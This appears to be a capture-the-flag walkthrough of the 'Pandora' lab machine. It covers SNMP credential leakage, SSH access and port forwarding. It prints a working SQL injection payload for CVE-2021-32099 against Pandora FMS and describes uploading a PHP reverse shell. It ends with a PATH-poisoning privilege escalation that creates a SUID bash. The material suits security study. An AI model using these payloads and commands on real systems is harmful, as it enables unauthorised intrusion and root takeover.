3 minute read

In This Box we are going to enumerate the snmp port which will show user daniel with his password as a string in the output , we are going to login with ssh to him and will see there is another user matt which has the user.txt , after some enumeration we will see there is pandora fms running internally with user matt , we will port forward to exploit the vulnerable service then we will abuse a path poisoning in a custom binary for the root access

Scanning :

initial scan :

nmap -sV -A -T 4 $IP -oN nmap/intial.txt

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

And i have learned the lesson from previous machines so will scan udp as well just in case

sudo nmap -sV -sU  10.10.11.136

PORT      STATE    SERVICE VERSION
161/udp   open     snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
17219/udp filtered chipper
17989/udp filtered unknown
46532/udp filtered unknown

Enumeration :

  • port 80 : the web page :

error

there is only this form where we can send data , parameters are :

fullName=ADam&email=adma@testet.com&phone=a&message=a

testing them for sqli , ssti and more found out this is just a rabbit Hole :’’)

  • we have found in the udp scan snmp is open so let’s enumerate it , trying to enumerate with the community string “public” it works and we got results :
snmpwalk -c public -v1 10.10.11.136 > snmpwalk.out

you can query about one thing with snmpwalk But i want to see all the data , finally will see this in the output

iso.3.6.1.2.1.25.4.2.1.5.3068 = STRING: "-u daniel -p HotelBabylon23"

so we have a potential username and a password , we can try ssh with it :

ssh daniel@10.10.11.136

Foothold :

i have logged in with daniel However user matt is the one contains the user.txt and he only can read it

we need to escalate to matt then root

error

after a lot of enumeration we will see :

error

the web page we have seen above is for the html But what about pandora ?

error

and we will see it is owned by the user matt which we are targeting.

error

so it seems we need to do Port forwarding to interact with this page at the Browser.

# @ your side
sudo ssh -N -L 0.0.0.0:9999:127.0.0.1:80 daniel@10.10.11.136

that will let us see this web page at http://127.0.0.1:9999

error

and we can see the version at the bottom of the page : v7.0NG.742_FIX_PERL2020

searching for Vulnerabilities for this version will find CVE-2021-32099 which is SQL injection in the session_id , and the payload is here and it is explained in the blog here

http://127.0.0.1:9999/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:"admin";' as data FROM tsessions_php WHERE '1'='1

all we need to do is to go back to http://127.0.0.1:9999/pandora_console/ and we will have admin access as the admin cookie has been added

error

Hence the site works with PHP we can know that from wappalayzer extension, so we need to upload a php reverse shell .

It is located at /usr/share/webshells/php/php-reverse-shell.php in Linux or you can download it here By watching here we need to zip it then we can execute it at /pandora_console/extensions/shell.php

upload it at

admin tools > extensions manager > extension uploader

Then set your listener and will get the shell after execute it at /pandora_console/extensions/shell.php

error

Once we are in we can generate ssh keys to get a stable shell

kali@kali:~$ ssh-keygen -f pandora
  • normally we ‘d use
ssh-copy-id -i pandora.pub matt@10.10.11.136

But hence we don’t know matt’s password , we would copy our key manually and add it to authorized_keys at matt’s side

now copy pandora.pub into authorized_keys at the target machine , you can connect now:

kali@kali:~$  ssh matt@10.10.11.136 -i pandora

error

Privilege escalation

Searching for SUID binaries found :

error

The /usr/bin/pandora_backup seems odd , we can explore it with strings but it is not installed on the box , we can move it to our side and explore it or Just try strace first

strace /usr/bin/pandora_backup

we can see in the output :

tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied

it seems it uses tar command without providing Full path so that may let us do Path Poisoning .

echo "cp /bin/bash /tmp/bash ; chmod +s /tmp/bash" > tar
chmod 777 tar
export PATH=.:$PATH

error

pwned